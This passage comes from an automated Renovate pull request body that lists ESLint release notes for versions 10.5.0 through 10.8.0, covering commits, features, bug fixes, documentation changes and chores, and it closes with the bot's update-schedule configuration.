([#&#8203;21144](https://redirect.github.com/eslint/eslint/issues/21144))
(devoil)
-
[`688e75e`](https://redirect.github.com/eslint/eslint/commit/688e75ede01b295d51f2f86c9d82da020a4c887e)
chore: add missing backticks in JSDoc
([#&#8203;21143](https://redirect.github.com/eslint/eslint/issues/21143))
(Bo Hyun Kim)
-
[`7c1e175`](https://redirect.github.com/eslint/eslint/commit/7c1e17543ad396f50f65b003cf9142d43d3c63b0)
test: add error locations to `require-await`
([#&#8203;21145](https://redirect.github.com/eslint/eslint/issues/21145))
(Grit)
-
[`588a26d`](https://redirect.github.com/eslint/eslint/commit/588a26ddce3c5a20f5b3f3d51ba1353cce7b4b0c)
test: add error locations to `no-extra-label`
([#&#8203;21139](https://redirect.github.com/eslint/eslint/issues/21139))
(dongkyu lee)
-
[`059aa89`](https://redirect.github.com/eslint/eslint/commit/059aa895743639e3ab53d14f9d944ff4be042233)
test: add error locations to `no-useless-concat`
([#&#8203;21140](https://redirect.github.com/eslint/eslint/issues/21140))
(dongkyu lee)
-
[`5a452a8`](https://redirect.github.com/eslint/eslint/commit/5a452a8ba53917d65c9d83c3959ed35c2f890613)
test: add error locations to `no-const-assign`
([#&#8203;21138](https://redirect.github.com/eslint/eslint/issues/21138))
(dongkyu lee)

###
[`v10.8.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.8.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.7.0...v10.8.0)

#### Features

-
[`2fee9bb`](https://redirect.github.com/eslint/eslint/commit/2fee9bb7416116cbed4d8c8100b1ae713b6356a1)
feat: export `ConfigObject` from `eslint/config`
([#&#8203;21082](https://redirect.github.com/eslint/eslint/issues/21082))
(sethamus)

#### Bug Fixes

-
[`6b8d2f7`](https://redirect.github.com/eslint/eslint/commit/6b8d2f7589b8a7c8b91b8ca2a2ef6d46178760d8)
fix: escape reserved characters in rule id in `html` formatter
([#&#8203;21129](https://redirect.github.com/eslint/eslint/issues/21129))
(Francesco Trotta)
-
[`9091071`](https://redirect.github.com/eslint/eslint/commit/90910715011211a20d011d807d398a7005127f35)
fix: prevent `no-unreachable-loop` crash when all loop types are ignored
([#&#8203;21116](https://redirect.github.com/eslint/eslint/issues/21116))
(Pixel)
-
[`e23fafe`](https://redirect.github.com/eslint/eslint/commit/e23fafe8d4b15355adef6cdebef414c3a2019454)
fix: prefer-object-spread add semicolon when adding parenthesis
([#&#8203;21081](https://redirect.github.com/eslint/eslint/issues/21081))
(synthex-byte)
-
[`20b5ad0`](https://redirect.github.com/eslint/eslint/commit/20b5ad052360a443786a202e94624a3f81846511)
fix: quadratic-time regex in `prefer-template`
([#&#8203;21096](https://redirect.github.com/eslint/eslint/issues/21096))
(Milos Djermanovic)
-
[`8b6f6c0`](https://redirect.github.com/eslint/eslint/commit/8b6f6c0b33411f34485512456d94f221daf7321f)
fix: apply ignore configs to computed methods in class-methods-use-this
([#&#8203;21094](https://redirect.github.com/eslint/eslint/issues/21094))
(Pixel)
-
[`b2c608c`](https://redirect.github.com/eslint/eslint/commit/b2c608c014a396800a24a89343265d0616bee2d8)
fix: NewExpression with parenthesized callee in `preserve-caught-error`
([#&#8203;21083](https://redirect.github.com/eslint/eslint/issues/21083))
(Francesco Trotta)

#### Documentation

-
[`6ddf858`](https://redirect.github.com/eslint/eslint/commit/6ddf8587e5cfeeb7328332601bb76d98b8a198ea)
docs: fix broken Specify Parser Options anchor link
([#&#8203;21106](https://redirect.github.com/eslint/eslint/issues/21106))
(Minsu)
-
[`784dfbe`](https://redirect.github.com/eslint/eslint/commit/784dfbe98f0222426fd200153a5ce2e5624151f0)
docs: Clarify `no-eq-null` description
([#&#8203;21120](https://redirect.github.com/eslint/eslint/issues/21120))
(Park Harin)
-
[`7ec733a`](https://redirect.github.com/eslint/eslint/commit/7ec733a3ba5acb053a73ac656030a3879aa48fda)
docs: Fix typos and grammar in glossary
([#&#8203;21095](https://redirect.github.com/eslint/eslint/issues/21095))
(Marry (Subin Yang))
-
[`92bb13f`](https://redirect.github.com/eslint/eslint/commit/92bb13f13065db72d62454b9830d3ae52db15c76)
docs: replace quake link
([#&#8203;21108](https://redirect.github.com/eslint/eslint/issues/21108))
(Jung Hyeon Jun)
-
[`68eb4a5`](https://redirect.github.com/eslint/eslint/commit/68eb4a57572409dbdcfeb3bc5c92ddbba46bc770)
docs: fix broken Specify Globals anchor links in rule pages
([#&#8203;21103](https://redirect.github.com/eslint/eslint/issues/21103))
(Minsu)
-
[`d28f697`](https://redirect.github.com/eslint/eslint/commit/d28f697e0d32d7446c825fd89c362db028450134)
docs: replace Code Climate CLI links with Qlty CLI links
([#&#8203;21099](https://redirect.github.com/eslint/eslint/issues/21099))
(Jung Hyeon Jun)
-
[`eccc68d`](https://redirect.github.com/eslint/eslint/commit/eccc68d42564e46bc9020d19ec52d2988f3b7bfa)
docs: correct --suppressions-location option description
([#&#8203;21093](https://redirect.github.com/eslint/eslint/issues/21093))
(Ga eun Lee)
-
[`c5963f7`](https://redirect.github.com/eslint/eslint/commit/c5963f74bfa82a5b7ccc0607dcdcc695b8c97a31)
docs: Update README (GitHub Actions Bot)

#### Chores

-
[`4fbf46d`](https://redirect.github.com/eslint/eslint/commit/4fbf46d140120ae838db08cbe49544c985956490)
test: pin `webpack` version to 5.108.4
([#&#8203;21137](https://redirect.github.com/eslint/eslint/issues/21137))
(Francesco Trotta)
-
[`2d063e2`](https://redirect.github.com/eslint/eslint/commit/2d063e224e9bb0ccb0a28c120f7e380a8d62f320)
chore: update HTTP URLs to HTTPS in JSDoc and comments
([#&#8203;21101](https://redirect.github.com/eslint/eslint/issues/21101))
(Bo Hyun Kim)
-
[`eccbe7b`](https://redirect.github.com/eslint/eslint/commit/eccbe7bc9257a6c99880468e452c8dfafbf47f74)
test: add error locations to `no-class-assign`
([#&#8203;21123](https://redirect.github.com/eslint/eslint/issues/21123))
(devoil)
-
[`e7d1e43`](https://redirect.github.com/eslint/eslint/commit/e7d1e4373bf626f8da76d62ce024c28928bc99bc)
ci: bump actions/setup-go from 6 to 7
([#&#8203;21118](https://redirect.github.com/eslint/eslint/issues/21118))
(dependabot\[bot])
-
[`e9d66d0`](https://redirect.github.com/eslint/eslint/commit/e9d66d0cde1a7752c29dee53ab7b62632835a87a)
ci: bump actions/setup-node from 6 to 7
([#&#8203;21119](https://redirect.github.com/eslint/eslint/issues/21119))
(dependabot\[bot])
-
[`ee225b6`](https://redirect.github.com/eslint/eslint/commit/ee225b60c26f0cc5f4d71641888a5bd2ec5626d6)
test: Add error location details to `no-eq-null` rule
([#&#8203;21117](https://redirect.github.com/eslint/eslint/issues/21117))
(Park Harin)
-
[`044a627`](https://redirect.github.com/eslint/eslint/commit/044a627fa3e28ee1410d515acc5378eb4b49f8ba)
chore: update minimatch to ^10.2.5
([#&#8203;21107](https://redirect.github.com/eslint/eslint/issues/21107))
(김채영)
-
[`fb09aa8`](https://redirect.github.com/eslint/eslint/commit/fb09aa8ff09730d3ccf68859e065f99666b52466)
chore: update ecosystem plugins
([#&#8203;21115](https://redirect.github.com/eslint/eslint/issues/21115))
(ESLint Bot)
-
[`5abd878`](https://redirect.github.com/eslint/eslint/commit/5abd878740fe417fd8a910cac3741f2a0317b365)
test: add error locations to `no-proto`
([#&#8203;21114](https://redirect.github.com/eslint/eslint/issues/21114))
(Gihyeon Jeong / 정기현)
-
[`9715887`](https://redirect.github.com/eslint/eslint/commit/9715887ec94a5ff936447d7b680d039fbe2f0541)
test: Add error location details to `no-div-regex`
([#&#8203;21110](https://redirect.github.com/eslint/eslint/issues/21110))
(Park Harin)
-
[`a746ec6`](https://redirect.github.com/eslint/eslint/commit/a746ec6ea4a2249b1eb3f512264da5f4d5f7c886)
test: add error locations to `no-new-wrappers`
([#&#8203;21109](https://redirect.github.com/eslint/eslint/issues/21109))
(Gihyeon Jeong / 정기현)
-
[`8dde645`](https://redirect.github.com/eslint/eslint/commit/8dde64570e240f3ef8af873d59a752db6d8519aa)
test: add error locations to `no-ex-assign`
([#&#8203;21102](https://redirect.github.com/eslint/eslint/issues/21102))
(devoil)
-
[`13ab0ec`](https://redirect.github.com/eslint/eslint/commit/13ab0ec447650c079d8a5e5d67222f79e69c741e)
test: add error locations to `no-label-var`
([#&#8203;21098](https://redirect.github.com/eslint/eslint/issues/21098))
(Gihyeon Jeong / 정기현)
-
[`a99906f`](https://redirect.github.com/eslint/eslint/commit/a99906ffb8342dde03336b5c6372b5658f21d5f2)
test: Add error location details to `no-delete-var` rule
([#&#8203;21105](https://redirect.github.com/eslint/eslint/issues/21105))
(Park Harin)
-
[`c47e8dc`](https://redirect.github.com/eslint/eslint/commit/c47e8dc9bbfba797430db45ae08cb6f7392cfc9d)
chore: add missing backticks to `languages/js/index.js`
([#&#8203;21104](https://redirect.github.com/eslint/eslint/issues/21104))
(beeen)
-
[`0174428`](https://redirect.github.com/eslint/eslint/commit/0174428dd7543d118cf67a823b98dd97032fe68c)
chore: add missing backticks to `translate-cli-options.js`
([#&#8203;21097](https://redirect.github.com/eslint/eslint/issues/21097))
(dongkyu lee)
-
[`3d36589`](https://redirect.github.com/eslint/eslint/commit/3d36589a4917326500f0707bb41745160f387d00)
chore: add missing backticks to `serialization.js`
([#&#8203;21091](https://redirect.github.com/eslint/eslint/issues/21091))
(이규환)
-
[`dcc9312`](https://redirect.github.com/eslint/eslint/commit/dcc9312c1081931de0fe1b555fbb6aa82fe696b9)
test: add error locations to `eqeqeq`
([#&#8203;21090](https://redirect.github.com/eslint/eslint/issues/21090))
(Ga eun Lee)
-
[`2710b18`](https://redirect.github.com/eslint/eslint/commit/2710b182472cd1a95e4aff6186cb2c4fbadb4ee0)
ci: Add explicit permissions to rebuild-docs-sites workflow
([#&#8203;21089](https://redirect.github.com/eslint/eslint/issues/21089))
(Marry (Subin Yang))
-
[`5d2f866`](https://redirect.github.com/eslint/eslint/commit/5d2f8663ee60701e9036b0b0933a12efd9d93269)
chore: update dependency prettier to v3.9.5
([#&#8203;21086](https://redirect.github.com/eslint/eslint/issues/21086))
(renovate\[bot])
-
[`d584e31`](https://redirect.github.com/eslint/eslint/commit/d584e31098f262563b97dc5d5f23a63a187879a0)
chore: fix failing ecosystem test for `eslint-plugin-unicorn`
([#&#8203;21084](https://redirect.github.com/eslint/eslint/issues/21084))
(Francesco Trotta)
-
[`bf3eda0`](https://redirect.github.com/eslint/eslint/commit/bf3eda049bd690f1e9a5a0c4520a6329b3e4ec85)
chore: update ecosystem plugins
([#&#8203;21079](https://redirect.github.com/eslint/eslint/issues/21079))
(ESLint Bot)

###
[`v10.7.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.7.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.6.0...v10.7.0)

#### Features

-
[`cf2a9bf`](https://redirect.github.com/eslint/eslint/commit/cf2a9bf2d982642f760370c15f1196f4658f4e27)
feat: add errorClassNames option to preserve-caught-error rule
([#&#8203;21032](https://redirect.github.com/eslint/eslint/issues/21032))
(sethamus)
-
[`f8b873a`](https://redirect.github.com/eslint/eslint/commit/f8b873aae53610b80b5c1005606716e05ed3b91f)
feat: max-nested-callbacks option for constructor callbacks
([#&#8203;21063](https://redirect.github.com/eslint/eslint/issues/21063))
(fnx)
-
[`557fde8`](https://redirect.github.com/eslint/eslint/commit/557fde8bc633d26ea4fe287d4483f287e8e6080f)
feat: support computed `Number.parseInt` member access in `radix` rule
([#&#8203;21041](https://redirect.github.com/eslint/eslint/issues/21041))
(Pixel)
-
[`0b4a73b`](https://redirect.github.com/eslint/eslint/commit/0b4a73b65808f5a8fd192f15db2bf5e47002b9f7)
feat: add suggestions to no-compare-neg-zero
([#&#8203;21034](https://redirect.github.com/eslint/eslint/issues/21034))
(den$)
-
[`96cdd42`](https://redirect.github.com/eslint/eslint/commit/96cdd427db5f26c6403fba92b0f7ae4556c595ec)
feat: report invalid signed numeric radix values in `radix` rule
([#&#8203;21030](https://redirect.github.com/eslint/eslint/issues/21030))
(Pixel)

#### Bug Fixes

-
[`3e7bf15`](https://redirect.github.com/eslint/eslint/commit/3e7bf15e69e6d3a2c8832356bcc2e9903cc4eede)
fix: apply `ignoreClassesWithImplements` to class expressions
([#&#8203;21069](https://redirect.github.com/eslint/eslint/issues/21069))
(Pixel)
-
[`0d7d70c`](https://redirect.github.com/eslint/eslint/commit/0d7d70cf013ec5bf1e4f5a0fcf7128bdf059b2d4)
fix: insert cause outside wrapping parens in preserve-caught-error
([#&#8203;21062](https://redirect.github.com/eslint/eslint/issues/21062))
(Mahin Anowar)
-
[`75ec753`](https://redirect.github.com/eslint/eslint/commit/75ec753226010867270787b412f3dae412e421e6)
fix: handle static template literals in `eqeqeq` rule
([#&#8203;21058](https://redirect.github.com/eslint/eslint/issues/21058))
(Pixel)
-
[`b717a22`](https://redirect.github.com/eslint/eslint/commit/b717a22e2408389a2ad40af66543e46390669eb6)
fix: prevent `eqeqeq` null option from reporting non-equality operators
([#&#8203;21057](https://redirect.github.com/eslint/eslint/issues/21057))
(Pixel)
-
[`e35b05f`](https://redirect.github.com/eslint/eslint/commit/e35b05f1961dcd691611bd68b6ff8a87072d6f76)
fix: avoid `no-invalid-regexp` false positive for shadowed RegExp
([#&#8203;21051](https://redirect.github.com/eslint/eslint/issues/21051))
(Pixel)
-
[`a3172b6`](https://redirect.github.com/eslint/eslint/commit/a3172b69c7db63ea0321355543e3f527c7d8b76a)
fix: avoid `no-control-regex` false positive for shadowed RegExp
([#&#8203;21050](https://redirect.github.com/eslint/eslint/issues/21050))
(Pixel)
-
[`d1f637e`](https://redirect.github.com/eslint/eslint/commit/d1f637eca27e523d613991c6bea5b8726b810e4c)
fix: parenthesize sequence expression operands in no-implicit-coercion
([#&#8203;21045](https://redirect.github.com/eslint/eslint/issues/21045))
(spokodev)
-
[`8859baf`](https://redirect.github.com/eslint/eslint/commit/8859bafb018e2b23b5110d52e491b69b94ad890a)
fix: avoid prefer-numeric-literals false positive for shadowed globals
([#&#8203;21047](https://redirect.github.com/eslint/eslint/issues/21047))
(한국)
-
[`a9e5961`](https://redirect.github.com/eslint/eslint/commit/a9e5961050676ef29dba9649dfcd7233d21760c7)
fix: use-isnan false positive on shadowed NaN/Number
([#&#8203;20958](https://redirect.github.com/eslint/eslint/issues/20958))
(sethamus)
-
[`8a240a7`](https://redirect.github.com/eslint/eslint/commit/8a240a76108f30f2476e61a925e4d32d378cce5e)
fix: avoid false positives in `radix` rule for spread arguments
([#&#8203;21044](https://redirect.github.com/eslint/eslint/issues/21044))
(Pixel)

#### Documentation

-
[`c30d808`](https://redirect.github.com/eslint/eslint/commit/c30d80801ca561bdf65c6c3eba4ee57dced278cf)
docs: Update README (GitHub Actions Bot)
-
[`5139800`](https://redirect.github.com/eslint/eslint/commit/5139800b23e77fdd1a76664e1b36f478942eae55)
docs: document ESLint migration codemods in v9 and v10 guides
([#&#8203;20980](https://redirect.github.com/eslint/eslint/issues/20980))
(Alex Bit)
-
[`04174cb`](https://redirect.github.com/eslint/eslint/commit/04174cbfaac1f9555400b5332d69056e6aab9cc6)
docs: Update README (GitHub Actions Bot)
-
[`026e130`](https://redirect.github.com/eslint/eslint/commit/026e1304080512bcddfd2af3557fff86474ff949)
docs: update semver policy for bug fixes
([#&#8203;21048](https://redirect.github.com/eslint/eslint/issues/21048))
(Milos Djermanovic)
-
[`9d42fef`](https://redirect.github.com/eslint/eslint/commit/9d42fefb0e05ecd0b256c2ebed479fc868862f0c)
docs: Update README (GitHub Actions Bot)
-
[`b230159`](https://redirect.github.com/eslint/eslint/commit/b23015955c8d6e6516076190730f538c86927f26)
docs: Update README (GitHub Actions Bot)
-
[`0129972`](https://redirect.github.com/eslint/eslint/commit/0129972ba122e95bece6040fda44d20f6799246a)
docs: correct `**/.js` glob to `**/*.js` in config files guide
([#&#8203;21036](https://redirect.github.com/eslint/eslint/issues/21036))
(EduardF1)

#### Chores

-
[`9489379`](https://redirect.github.com/eslint/eslint/commit/948937986f2aa3cccb27a4c80694a85e5b0a5f64)
chore: update dependency
[@&#8203;eslint/eslintrc](https://redirect.github.com/eslint/eslintrc)
to ^3.3.6
([#&#8203;21076](https://redirect.github.com/eslint/eslint/issues/21076))
(renovate\[bot])
-
[`81a4774`](https://redirect.github.com/eslint/eslint/commit/81a4774a928211bd0c01a06a1517736ece594522)
chore: updates for v9.39.5 release (Jenkins)
-
[`9835414`](https://redirect.github.com/eslint/eslint/commit/983541491393323d17717683f6a2e6dbef4bc3f4)
chore: enable `$ExpectType` annotations in all TypeScript files
([#&#8203;21071](https://redirect.github.com/eslint/eslint/issues/21071))
(Francesco Trotta)
-
[`72adf6b`](https://redirect.github.com/eslint/eslint/commit/72adf6bd214c142b38aabb4b8f6f908079c5301a)
chore: restrict `markdownlint-cli2` updates in renovate
([#&#8203;21067](https://redirect.github.com/eslint/eslint/issues/21067))
(lumir)
-
[`833ec10`](https://redirect.github.com/eslint/eslint/commit/833ec10fd702644e94334edd3cd2aa313174a958)
chore: update dependency prettier to v3.9.4
([#&#8203;21061](https://redirect.github.com/eslint/eslint/issues/21061))
(renovate\[bot])
-
[`7ea106d`](https://redirect.github.com/eslint/eslint/commit/7ea106ddcb6af7db8f36d62a28dbaba94d33598e)
chore: update ecosystem plugins
([#&#8203;21059](https://redirect.github.com/eslint/eslint/issues/21059))
(ESLint Bot)
-
[`8fb550e`](https://redirect.github.com/eslint/eslint/commit/8fb550e7c257fbdc4108fc8e63db43c1d914d472)
chore: add prettier update commit to `.git-blame-ignore-revs`
([#&#8203;21056](https://redirect.github.com/eslint/eslint/issues/21056))
(lumir)
-
[`e4e1166`](https://redirect.github.com/eslint/eslint/commit/e4e11668ead6b950328c71e894563a13ef72bf84)
chore: update dependency prettier to v3.9.1
([#&#8203;21055](https://redirect.github.com/eslint/eslint/issues/21055))
(renovate\[bot])
-
[`0493f53`](https://redirect.github.com/eslint/eslint/commit/0493f53f3fcec4ed69a1808dffa153dcff1380d3)
chore: update prettier to v3.9.0
([#&#8203;21054](https://redirect.github.com/eslint/eslint/issues/21054))
(Pixel)
-
[`1056a99`](https://redirect.github.com/eslint/eslint/commit/1056a996c657b377dc16a58c28890d2940394408)
chore: update dependency prettier to v3.8.5
([#&#8203;21049](https://redirect.github.com/eslint/eslint/issues/21049))
(renovate\[bot])
-
[`4d4155d`](https://redirect.github.com/eslint/eslint/commit/4d4155df4a21d711e8dd21a467de085e770bad35)
ci: run ecosystem tests on pull requests
([#&#8203;21027](https://redirect.github.com/eslint/eslint/issues/21027))
(sethamus)
-
[`993539f`](https://redirect.github.com/eslint/eslint/commit/993539fd45d3d01aad3fbc13963e2245fdf7ee0d)
chore: update dependency
[@&#8203;eslint/json](https://redirect.github.com/eslint/json) to ^2.0.1
([#&#8203;21042](https://redirect.github.com/eslint/eslint/issues/21042))
(renovate\[bot])
-
[`53f8b69`](https://redirect.github.com/eslint/eslint/commit/53f8b69c15af7398c989071ee4788b88edd48bdd)
test: add error locations to `no-constant-binary-expression`
([#&#8203;21039](https://redirect.github.com/eslint/eslint/issues/21039))
(lumir)
-
[`5ab71d5`](https://redirect.github.com/eslint/eslint/commit/5ab71d52f9d860df04e626fcd819a36257f21f9e)
refactor: clean up radix rule internals
([#&#8203;21015](https://redirect.github.com/eslint/eslint/issues/21015))
(Pixel)
-
[`a80a9a4`](https://redirect.github.com/eslint/eslint/commit/a80a9a461478838930c5545f840473840b26b0e6)
chore: update ecosystem plugins
([#&#8203;21035](https://redirect.github.com/eslint/eslint/issues/21035))
(ESLint Bot)
-
[`7c9a029`](https://redirect.github.com/eslint/eslint/commit/7c9a02933cf1c231237babb8a7a32150ab72e263)
ci: add Node.js 26 to CI
([#&#8203;20847](https://redirect.github.com/eslint/eslint/issues/20847))
(lumir)

###
[`v10.6.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.6.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.5.0...v10.6.0)

#### Features

-
[`b1f9106`](https://redirect.github.com/eslint/eslint/commit/b1f910628e29a018c860e2352bc14cd07c853d67)
feat: detect Symbol() and BigInt() in no-constant-binary-expression
([#&#8203;20981](https://redirect.github.com/eslint/eslint/issues/20981))
(Taejin Kim)
-
[`f291007`](https://redirect.github.com/eslint/eslint/commit/f291007cb73f55c09cf3c2aa3a405df379a5c594)
feat: add checkRelationalComparisons to no-constant-binary-expression
([#&#8203;20948](https://redirect.github.com/eslint/eslint/issues/20948))
(sethamus)

#### Bug Fixes

-
[`6b05784`](https://redirect.github.com/eslint/eslint/commit/6b05784eb271ac98ca3e1e2a48c4b14bb588c786)
fix: prefer-exponentiation-operator invalid autofix at statement start
([#&#8203;20997](https://redirect.github.com/eslint/eslint/issues/20997))
(Milos Djermanovic)
-
[`bb9eb2a`](https://redirect.github.com/eslint/eslint/commit/bb9eb2ab28daf6e6dafc62daa6b5daf9c2b7046c)
fix: account for shadowed `Boolean` in `no-extra-boolean-cast`
([#&#8203;21013](https://redirect.github.com/eslint/eslint/issues/21013))
(den$)
-
[`8fd8741`](https://redirect.github.com/eslint/eslint/commit/8fd8741009a3ed7845c89bfe2fb3eaa2119b2d15)
fix: don't report shadowed undefined in `radix` rule
([#&#8203;21011](https://redirect.github.com/eslint/eslint/issues/21011))
(Pixel)
-
[`5784980`](https://redirect.github.com/eslint/eslint/commit/5784980ce8ba99556db98907895d82ef49cd0a27)
fix: don't report shadowed undefined in no-throw-literal
([#&#8203;21010](https://redirect.github.com/eslint/eslint/issues/21010))
(Pixel)
-
[`9cd1e6d`](https://redirect.github.com/eslint/eslint/commit/9cd1e6de5bad487a9c713bdc9fda5af7ea0babcd)
fix: suppress invalid class suggestion in no-promise-executor-return
([#&#8203;21008](https://redirect.github.com/eslint/eslint/issues/21008))
(Pixel)
-
[`d4eb2dc`](https://redirect.github.com/eslint/eslint/commit/d4eb2dc95f17cdf491edca91b7d9caf05b86253f)
fix: don't report shadowed undefined in prefer-promise-reject-errors
([#&#8203;21006](https://redirect.github.com/eslint/eslint/issues/21006))
(Pixel)
-
[`2360464`](https://redirect.github.com/eslint/eslint/commit/23604646db6d987d01edb8aa5f4d2a88bd4c01d0)
fix: prefer-promise-reject-errors false positives for shadowed Promise
([#&#8203;21003](https://redirect.github.com/eslint/eslint/issues/21003))
(den$)
-
[`63d52d2`](https://redirect.github.com/eslint/eslint/commit/63d52d28de705ec46f328d18166e8b7170b3f024)
fix: restore max-classes-per-file report range
([#&#8203;21002](https://redirect.github.com/eslint/eslint/issues/21002))
(Pixel)
-
[`7feaff0`](https://redirect.github.com/eslint/eslint/commit/7feaff0cfb8d6a6260d3ea56887c9161daf8c700)
fix: callback detection logic for IIFEs in max-nested-callbacks
([#&#8203;20979](https://redirect.github.com/eslint/eslint/issues/20979))
(fnx)
-
[`399a2ec`](https://redirect.github.com/eslint/eslint/commit/399a2ec81bcbcff2c67920db51d9276b20ac1025)
fix: don't report inner non-callbacks in `max-nested-callbacks`
([#&#8203;20995](https://redirect.github.com/eslint/eslint/issues/20995))
(Milos Djermanovic)

#### Documentation

-
[`a83683d`](https://redirect.github.com/eslint/eslint/commit/a83683db1c27193c2ad333fc5c0aedcc8a293db7)
docs: Update README (GitHub Actions Bot)
-
[`f5449f9`](https://redirect.github.com/eslint/eslint/commit/f5449f96c2caabbc1a28b15211873e2f672f5ae5)
docs: document userland patterns for global assertionOptions in RuleT…
([#&#8203;20986](https://redirect.github.com/eslint/eslint/issues/20986))
(playgirl)
-
[`bea49f7`](https://redirect.github.com/eslint/eslint/commit/bea49f7b2899ebf708482f977ef2ada41fd2c3f0)
docs: Update README (GitHub Actions Bot)
-
[`e5f70f9`](https://redirect.github.com/eslint/eslint/commit/e5f70f9b06683a887dd0d6dc1cc91a9c9bea816d)
docs: update code-path diagrams
([#&#8203;20984](https://redirect.github.com/eslint/eslint/issues/20984))
(Tanuj Kanti)
-
[`8890c2d`](https://redirect.github.com/eslint/eslint/commit/8890c2d40880b195b9167735c24ec0cc5de5eb96)
docs: add TypeScript config guidance for MCP server
([#&#8203;20796](https://redirect.github.com/eslint/eslint/issues/20796))
(Pierluigi Lenoci)
-
[`3eb3d9b`](https://redirect.github.com/eslint/eslint/commit/3eb3d9b1b5edecc3fcae0519ddba0e3745e889e3)
docs: Update README (GitHub Actions Bot)
-
[`c5bb59c`](https://redirect.github.com/eslint/eslint/commit/c5bb59cf613dabafd550227b6adaa9327b1095f5)
docs: Update README (GitHub Actions Bot)
-
[`eb3c97c`](https://redirect.github.com/eslint/eslint/commit/eb3c97c776731ce11b28cc99f0271f41b9994701)
docs: fix grammar in prefer-const rule description
([#&#8203;20983](https://redirect.github.com/eslint/eslint/issues/20983))
(lumir)

#### Chores

-
[`6a42034`](https://redirect.github.com/eslint/eslint/commit/6a42034a57a816b0a313720b3b9df09455bd0b5e)
ci: run ecosystem tests on main branch
([#&#8203;20891](https://redirect.github.com/eslint/eslint/issues/20891))
(sethamus)
-
[`3dbacdb`](https://redirect.github.com/eslint/eslint/commit/3dbacdbb31673c87ca86ecafbb18712d8d1daed8)
ci: bump actions/checkout from 6 to 7
([#&#8203;21014](https://redirect.github.com/eslint/eslint/issues/21014))
(dependabot\[bot])
-
[`c3abfca`](https://redirect.github.com/eslint/eslint/commit/c3abfca7c96cc9a244f54eeb66e9971c59280354)
chore: correct JSDoc param types in html formatter
([#&#8203;21018](https://redirect.github.com/eslint/eslint/issues/21018))
(Minseon Kim)
-
[`a832320`](https://redirect.github.com/eslint/eslint/commit/a8323209cdbefefd540c5beeaa51418d8ec40f9e)
ci: split ecosystem tests into separate jobs
([#&#8203;21001](https://redirect.github.com/eslint/eslint/issues/21001))
(xbinaryx)
-
[`27166e7`](https://redirect.github.com/eslint/eslint/commit/27166e78511db526688afc34bbfab1a458405f3f)
chore: update ecosystem plugins
([#&#8203;21005](https://redirect.github.com/eslint/eslint/issues/21005))
(ESLint Bot)
-
[`865d76e`](https://redirect.github.com/eslint/eslint/commit/865d76e40107d4fa10a17fc3203b303eb8a88dc3)
ci: bump pnpm/action-setup from 6.0.8 to 6.0.9
([#&#8203;20989](https://redirect.github.com/eslint/eslint/issues/20989))
(dependabot\[bot])
-
[`27a88c9`](https://redirect.github.com/eslint/eslint/commit/27a88c9fa7c040f4cd39e5a5e6e2d02441c408ef)
chore: update dependency markdown-it to v14 in root
([#&#8203;20994](https://redirect.github.com/eslint/eslint/issues/20994))
(Milos Djermanovic)
-
[`970cea6`](https://redirect.github.com/eslint/eslint/commit/970cea62b295d931a4109abedeb21ba192d3f2be)
chore: update dependency markdown-it to v14
([#&#8203;20993](https://redirect.github.com/eslint/eslint/issues/20993))
(Milos Djermanovic)
-
[`b482120`](https://redirect.github.com/eslint/eslint/commit/b482120bacb40204fbf16f3b20be7207057157a5)
chore: update dependency prettier to v3.8.4
([#&#8203;20990](https://redirect.github.com/eslint/eslint/issues/20990))
(renovate\[bot])
-
[`6993fb3`](https://redirect.github.com/eslint/eslint/commit/6993fb3173da84999fc208507b93f523aa657448)
chore: update ecosystem plugins
([#&#8203;20985](https://redirect.github.com/eslint/eslint/issues/20985))
(ESLint Bot)

###
[`v10.5.0`](https://redirect.github.com/eslint/eslint/releases/tag/v10.5.0)

[Compare
Source](https://redirect.github.com/eslint/eslint/compare/v10.4.1...v10.5.0)

#### Features

-
[`5ca8c52`](https://redirect.github.com/eslint/eslint/commit/5ca8c5278edea1fd84d3ba83d8ea3f52fb3831ad)
feat: correct stack tracking in max-nested-callbacks
([#&#8203;20973](https://redirect.github.com/eslint/eslint/issues/20973))
(Pixel998)
-
[`b565783`](https://redirect.github.com/eslint/eslint/commit/b5657837604fa5e8cf1278074782025cadd34b6c)
feat: report no-with violations at the with keyword
([#&#8203;20971](https://redirect.github.com/eslint/eslint/issues/20971))
(Pixel998)
-
[`2ce032f`](https://redirect.github.com/eslint/eslint/commit/2ce032fbc72a1a80c024c084a4f382fb6dece684)
feat: report max-lines-per-function violations at function head
([#&#8203;20966](https://redirect.github.com/eslint/eslint/issues/20966))
(Pixel998)
-
[`732cb3e`](https://redirect.github.com/eslint/eslint/commit/732cb3e09d5b8b809b5f461d118a5d9fdcd6427f)
feat: report max-nested-callbacks violations at function head
([#&#8203;20967](https://redirect.github.com/eslint/eslint/issues/20967))
(Pixel998)
-
[`f9c138a`](https://redirect.github.com/eslint/eslint/commit/f9c138a0ba7d8e37aed39aef4a3ff1cae8c669f7)
feat: report max-depth violations on keywords
([#&#8203;20943](https://redirect.github.com/eslint/eslint/issues/20943))
(Pixel998)
-
[`bdb496c`](https://redirect.github.com/eslint/eslint/commit/bdb496cc0d54b6d0a023aef9abd5f040ccff2101)
feat: correct max-depth handling for else-if chains
([#&#8203;20944](https://redirect.github.com/eslint/eslint/issues/20944))
(Pixel998)
-
[`c296873`](https://redirect.github.com/eslint/eslint/commit/c29687354a7f96093f57f7d73eecb866ad5e2953)
feat: update error loc in `max-statements` to function header
([#&#8203;20907](https://redirect.github.com/eslint/eslint/issues/20907))
(Taejin Kim)

#### Documentation

-
[`8ae1b5b`](https://redirect.github.com/eslint/eslint/commit/8ae1b5b856dc031cd6c701d89a4df7da4772cd56)
docs: Update README (

> ❗ **Important**
> 
> ✂ PR body was truncated to here.


</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
